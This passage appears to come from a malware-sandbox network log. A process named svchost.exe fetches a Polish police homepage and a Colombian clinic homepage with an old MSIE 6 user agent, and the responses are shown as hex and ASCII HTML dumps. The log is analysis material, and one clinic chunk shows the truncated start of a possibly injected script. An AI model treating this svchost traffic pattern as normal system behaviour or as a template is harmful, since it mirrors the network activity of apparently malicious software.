6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f Data Ascii: ome/slideshow/img-04.png" alt="Salient" /></div></div></div></div></div></div><div class="g-grid"><div class="g-block size-100 nopaddingall"><div class="g-content"><div class="moduletable "><div class="g-animatedblock "><div class="g-animatedblo
2023-03-10 06:56:27 UTC	2014	IN	Data Raw: 63 69 61 6c 69 73 74 61 73 2f 73 65 72 76 69 63 69 6f 2f 61 70 6f 79 6f 2d 64 69 61 67 6e 6f 73 74 69 63 6f 22 3e 41 70 6f 79 6f 20 44 69 61 67 6e c3 b3 73 74 69 63 6f 3c 2f 61 3e 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 2f 66 69 67 75 72 65 3e 0a 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 32 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 20 63 65 6e 74 65 72 20 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 68 6f 6d 65 22 3e 0a 3c 66 69 67 75 72 65 20 63 6c Data Ascii: cialistas/servicio/apoyo-diagnostico">Apoyo Diagnstico</a></div> </div></figure></div> </div></div></div><div class="g-block size-20"><div class="g-content"><div class="moduletable "><div class="g-promoimage center g-promoimage-home"><figure cl
2023-03-10 06:56:27 UTC	2016	IN	Data Raw: 6f 6d 65 22 3e 0a 3c 66 69 67 75 72 65 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 65 66 66 65 63 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 69 63 6f 6e 62 75 74 74 6f 6e 20 22 3e 3c 2f 73 70 61 6e 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 68 6f 6d 65 2f 63 61 6e 67 75 72 6f 2d 62 61 6a 61 2e 6a 70 67 22 20 61 6c 74 3d 22 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 63 61 70 74 69 6f 6e 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 69 63 6f 6e 22 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 64 65 73 63 22 3e 3c 61 20 63 6c 61 73 73 3d 22 70 Data Ascii: ome"><figure class="g-promoimage-effect"><span class="g-promoimage-iconbutton "></span><img src="/images/home/canguro-baja.jpg" alt=""><div class="g-promoimage-caption"><div class="g-promoimage-icon"></div><div class="g-promoimage-desc"><a class="p
2023-03-10 06:56:27 UTC	2017	IN	Data Raw: 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 61 63 65 72 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0a 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 2d 38 31 32 34 22 20 63 6c 61 73 73 3d 22 67 2d 77 72 61 70 70 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 35 30 22 3e 0a 3c 66 6f 6f 74 65 72 20 69 64 3d 22 67 2d 66 6f 6f 74 65 72 22 3e 0a 3c 64 69 76 Data Ascii: ="g-grid"><div class="g-block size-100"><div class="spacer"></div></div></div></div></section><section id="g-container-8124" class="g-wrapper"><div class="g-container"> <div class="g-grid"><div class="g-block size-50"><footer id="g-footer"><div
2023-03-10 06:56:27 UTC	2018	IN	Data Raw: 61 74 65 6e 63 69 c3 b3 6e 3a 20 4c 75 6e 20 2d 20 56 69 65 20 37 3a 30 30 20 61 2e 6d 2e 20 61 20 35 3a 30 30 20 70 2e 6d 2e 20 6a 6f 72 6e 61 64 61 20 43 6f 6e 74 69 6e 75 61 2e 0a 3c 2f 62 72 3e 3c 62 72 3e 3c 2f 62 72 3e 0a 3c 73 74 72 6f 6e 67 3e 43 69 74 61 73 20 50 72 6f 67 72 61 6d 61 20 43 61 6e 67 75 72 6f 3a 20 3c 70 3e 36 30 37 36 34 33 30 30 32 36 20 45 78 74 2e 33 36 31 2d 33 36 34 20 2d 20 3c 62 72 3e 20 3c 73 74 72 6f 6e 67 3e 48 6f 72 61 72 69 6f 20 64 65 20 41 74 65 6e 63 69 c3 b3 6e 3a 20 44 65 20 4c 75 6e 65 73 20 61 20 56 69 65 72 6e 65 73 20 64 65 20 37 3a 30 30 20 61 2e 6d 2e 20 61 20 31 32 3a 30 30 20 6d 20 79 20 64 65 20 32 3a 30 30 20 70 2e 6d 2e 20 61 20 36 3a 30 30 20 70 2e 6d 2e 0a 3c 2f 62 72 3e 3c 62 72 3e 3c 2f 62 72 3e 0a Data Ascii: atencin: Lun - Vie 7:00 a.m. a 5:00 p.m. jornada Continua.</br><br></br><strong>Citas Programa Canguro: <p>6076430026 Ext.361-364 - <br> <strong>Horario de Atencin: De Lunes a Viernes de 7:00 a.m. a 12:00 m y de 2:00 p.m. a 6:00 p.m.</br><br></br>
2023-03-10 06:56:27 UTC	2020	IN	Data Raw: 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 69 74 65 6d 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 6c 61 62 65 6c 22 3e 4e 75 65 76 6f 20 53 6f 74 6f 6d 61 79 6f 72 3c 2f 64 69 76 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 74 65 78 74 22 3e 4e 75 65 76 6f 20 53 6f 74 6f 6d 61 79 6f 72 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 69 74 65 6d 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 6c 61 62 65 6c 22 3e 50 42 58 3c 2f 64 69 76 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 74 65 78 74 22 3e 50 42 58 3a 20 2b 35 37 20 36 30 Data Ascii: iv> </div><div class="g-contact-item"><div class="g-contact-label">Nuevo Sotomayor</div> <div class="g-contact-text">Nuevo Sotomayor</div> </div><div class="g-contact-item"><div class="g-contact-label">PBX</div> <div class="g-contact-text">PBX: +57 60
2023-03-10 06:56:27 UTC	2021	IN	Data Raw: 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 61 72 74 69 63 6c 65 22 3e 20 3c 61 20 68 72 65 66 3d 22 2f 22 20 74 69 74 6c 65 3d 22 22 20 72 65 6c 3d 22 68 6f 6d 65 22 20 63 6c 61 73 73 3d 22 67 2d 66 6f 6f 74 65 72 2d 6c 6f 67 6f 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 32 30 32 31 2f 49 63 6f 6e 74 65 63 5f 4c 6f 67 6f 2e 6a 70 67 22 20 61 6c 74 3d 22 43 6c 69 6e 69 63 61 20 53 61 6e 20 4c 75 69 73 22 20 2f 3e 0a 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 20 73 69 7a 65 2d 33 33 2d 33 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 6f 74 6f 70 2d 36 38 34 36 2d 70 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 Data Ascii: cle" class="g-content g-particle"> <a href="/" title="" rel="home" class="g-footer-logo"><img src="/images/2021/Icontec_Logo.jpg" alt="Clinica San Luis" /></a></div></div><div class="g-block size-33-3"><div id="totop-6846-particle" class="g-content
2023-03-10 06:56:27 UTC	2022	IN	Data Raw: 34 34 34 0d 0a 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 70 69 6e 22 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 74 3b 22 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 62 6f 74 74 6f 6d 3a 20 30 70 78 3b 20 72 69 67 68 74 3a 30 70 78 3b 20 7a 2d 69 6e 64 65 78 3a 39 39 39 39 39 39 39 39 39 39 39 39 3b 20 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 22 3e 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 4a Data Ascii: 444ype="text/javascript" src="/media/gantry5/assets/js/main.js"></script><p class="pin"><span style="font-size: 10pt;"><div style="position: fixed; bottom: 0px; right:0px; z-index:999999999999; display:block;"><script language="JavaScript" type="text/J
2023-03-10 06:56:27 UTC	2023	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
132	192.168.2.6	61912	91.229.22.126	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:26 UTC	1853	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: pleszew.policja.gov.pl
2023-03-10 06:56:26 UTC	1854	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Mar 2023 06:57:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2023-03-10 06:56:26 UTC	1854	IN	Data Raw: 31 66 63 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 6c 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 6e 64 65 78 2c 20 46 6f 6c 6c 6f 77 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 50 50 20 50 6c 65 Data Ascii: 1fc0<!DOCTYPE html><html lang="pl"> <head> <meta charset="UTF-8"/> <meta name="description" content=" "/> <meta name="keywords" content=""/> <meta name="robots" content="Index, Follow"/> <meta name="author" content="KPP Ple
2023-03-10 06:56:26 UTC	1870	IN	Data Raw: 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 61 72 74 69 63 6c 65 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 20 20 20 20 0d 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 21 2d 2d 20 20 74 6f 70 6e 65 77 73 2e 20 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 20 20 2d 2d 0d 0a 32 30 30 30 0d 0a 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 20 0d 0a 20 20 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 2d 6c 65 66 74 20 20 2d 2d 3e 0d 0a 20 20 3c 61 72 74 69 63 6c 65 20 69 64 3d 22 77 74 78 74 22 20 63 6c 61 73 73 3d 22 6d 61 69 6e 4c 65 66 74 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 20 61 6b 74 75 61 6c Data Ascii: </div> </div> </article> </section> </section></div>... topnews. -->... content --2000><div id="content"> ... content-left --> <article id="wtxt" class="mainLeft"> ... aktual
2023-03-10 06:56:26 UTC	1886	IN	Data Raw: 74 3a 31 37 39 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 22 3e 3c 61 20 68 72 65 66 3d 22 2f 77 32 30 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2c 5a 6f 73 74 61 6e 2d 6a 65 64 6e 79 6d 2d 7a 2d 6e 61 73 2d 50 52 41 43 41 2d 57 2d 50 4f 4c 49 43 4a 49 2e 68 74 6d 6c 22 20 74 61 72 67 65 74 3d 22 5f 74 6f 70 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 64 6f 6b 75 6d 65 6e 74 79 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2e 6a 70 67 3f 0d 0a 31 30 30 30 0d 0a 76 3d 31 36 35 37 31 31 32 36 31 38 22 20 61 6c 74 3d 22 5a 6f 73 74 61 c5 84 20 6a 65 64 6e 79 6d 20 7a 20 6e 61 73 20 2d 20 50 52 41 43 41 20 57 20 50 4f 4c 49 43 4a 49 22 20 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 09 09 0a 09 0a 09 09 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 74 65 6d 22 Data Ascii: t:179px;margin-bottom:10px"><a href="/w20/batony/4596,Zostan-jednym-z-nas-PRACA-W-POLICJI.html" target="_top"><img src="/dokumenty/batony/4596.jpg?1000v=1657112618" alt="Zosta jednym z nas - PRACA W POLICJI" /></a></div><div class="item"
2023-03-10 06:56:26 UTC	1902	IN	Data Raw: 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 66 6f 6f 74 65 72 3e 0d 0a 20 20 20 20 20 20 3c 21 2d 2d 20 66 6f 6f 74 65 72 20 2e 2d 2d 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 20 20 2d 2d 3e 0d 0a 20 20 09 3c 64 69 76 20 69 64 3d 22 62 61 63 6b 2d 74 6f 2d 74 6f 70 22 3e 3c 61 20 68 72 65 66 3d 22 23 70 61 67 65 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 0d 0a 61 34 0d 0a 63 6c 61 73 73 3d 22 73 72 2d 6f 6e 6c 79 22 3e 50 6f 77 72 c3 b3 74 20 6e 61 20 67 c3 b3 72 c4 99 20 73 74 72 6f 6e 79 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0d 0a 20 20 09 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 20 20 2e 2d Data Ascii: div> </div> </footer> ... footer .--> </div> ... GoToTop --> <div id="back-to-top"><a href="#page"><span></span><span a4class="sr-only">Powrt na gr strony</span></a></div> ... GoToTop .-

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
133	192.168.2.6	62016	104.21.66.220	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:26 UTC	1853	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: clinicasanluis.com.co Cookie: d55e479f054c94814cbc10d217aaa990=85e4e1a68595ff47778d80e98dbe0065
2023-03-10 06:56:27 UTC	2036	IN	HTTP/1.1 200 OK Date: Fri, 10 Mar 2023 06:56:27 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 17 Aug 2005 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Last-Modified: Fri, 10 Mar 2023 06:56:27 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=9QhvyMGeNB6qvw9pqBw1HVJd6kOYSGT%2Fv9xUmQKvgXTp%2FTGvv%2Bbl9uJBLNmb2M4WUraxMJirIUdoyO9oTEJrYeK9Uk%2Fz%2Bo9VsuR4yyddViYfZMw43KajXh07zRsRcP4BIxURIobd3jA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a867482068e9-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:27 UTC	2037	IN	Data Raw: 37 63 61 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 45 53 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6c 69 6e 69 63 61 73 61 6e 6c 75 69 73 2e 63 6f 6d 2e 63 6f 2f 22 20 Data Ascii: 7cad<!DOCTYPE html><html lang="es-ES" dir="ltr"><head><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta charset="utf-8" /><base href="https://clinicasanluis.com.co/"
2023-03-10 06:56:27 UTC	2037	IN	Data Raw: 73 2f 6d 6f 64 5f 70 6f 70 75 70 61 68 6f 6c 69 63 2f 63 73 73 2f 6a 71 75 65 72 79 2e 67 61 66 61 6e 63 79 62 6f 78 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 63 73 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 65 6e 67 69 6e 65 73 2f 6e 75 63 6c 65 75 73 2f 63 73 73 2d 63 6f 6d 70 69 6c 65 64 2f 6e 75 63 6c 65 75 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 74 65 6d 70 Data Ascii: s/mod_popupaholic/css/jquery.gafancybox.min.css" rel="stylesheet" /><link href="/media/gantry5/assets/css/font-awesome.min.css" rel="stylesheet" /><link href="/media/gantry5/users/nucleus/css-compiled/nucleus.css" rel="stylesheet" /><link href="/temp
2023-03-10 06:56:27 UTC	2039	IN	Data Raw: 6a 73 2f 6d 6f 6f 74 6f 6f 6c 73 2d 63 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 73 79 73 74 65 6d 2f 6a 73 2f 6d 6f 6f 74 6f 6f 6c 73 2d 6d 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 70 6c 75 67 69 6e 73 2f 73 79 73 74 65 6d 2f 72 6f 6b 62 6f 78 2f 61 73 73 65 74 73 2f 6a 73 2f 72 6f 6b 62 6f 78 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 6a 75 69 2f 6a 73 2f 62 6f 6f 74 73 74 Data Ascii: js/mootools-core.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/media/system/js/mootools-more.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/plugins/system/rokbox/assets/js/rokbox.js"></script><script src="/media/jui/js/bootst
2023-03-10 06:56:27 UTC	2040	IN	Data Raw: 6e 67 69 6e 65 73 2f 6e 75 63 6c 65 75 73 2f 63 73 73 2f 6e 75 63 6c 65 75 73 2d 69 65 39 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 74 63 68 6d 65 64 69 61 2e 70 6f 6c 79 66 69 6c 6c 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2e 70 6e 67 22 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 67 61 Data Ascii: ngines/nucleus/css/nucleus-ie9.css" type="text/css"/> <script type="text/javascript" src="/media/gantry5/assets/js/matchmedia.polyfill.js"></script> <![endif]--><link rel="shortcut icon" href="/images/favicon.png"></head><body class="ga
2023-03-10 06:56:27 UTC	2041	IN	Data Raw: 20 73 69 7a 65 2d 36 33 22 3e 0a 3c 64 69 76 20 69 64 3d 22 6d 65 6e 75 2d 38 36 30 35 2d 70 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 61 72 74 69 63 6c 65 22 3e 20 3c 6e 61 76 20 63 6c 61 73 73 3d 22 67 2d 6d 61 69 6e 2d 6e 61 76 22 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 64 61 74 61 2d 67 2d 68 6f 76 65 72 2d 65 78 70 61 6e 64 3d 22 74 72 75 65 22 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 67 2d 74 6f 70 6c 65 76 65 6c 22 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 30 34 20 67 2d 70 61 72 65 6e 74 20 67 2d 73 74 61 6e 64 61 72 64 20 20 22 3e 0a 3c Data Ascii: size-63"><div id="menu-8605-particle" class="g-content g-particle"> <nav class="g-main-nav" role="navigation" data-g-hover-expand="true"><ul class="g-toplevel"><li class="g-menu-item g-menu-item-type-separator g-menu-item-104 g-parent g-standard "><
2023-03-10 06:56:27 UTC	2043	IN	Data Raw: 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 32 31 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 73 6f 6d 6f 73 2d 65 73 70 65 63 69 61 6c 69 73 74 61 73 2f 65 71 75 69 70 6f 2d 6d 65 64 69 63 6f 2f 70 65 64 69 61 74 72 61 73 22 3e 0a 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 65 64 69 61 74 72 61 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 Data Ascii: tem g-menu-item-type-component g-menu-item-215 "><a class="g-menu-item-container" href="/index.php/somos-especialistas/equipo-medico/pediatras"> <span class="g-menu-item-content"><span class="g-menu-item-title">Pediatras</span></span></a></li><li
2023-03-10 06:56:27 UTC	2044	IN	Data Raw: 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 31 30 20 67 2d 70 61 72 65 6e 74 20 67 2d 73 74 61 6e 64 61 72 64 20 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3d 22 22 3e 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d Data Ascii: i></ul></div></div></li></ul></li><li class="g-menu-item g-menu-item-type-separator g-menu-item-110 g-parent g-standard "><div class="g-menu-item-container" data-g-menuparent=""> <span class="g-separator g-menu-item-content"> <span class="g-menu-
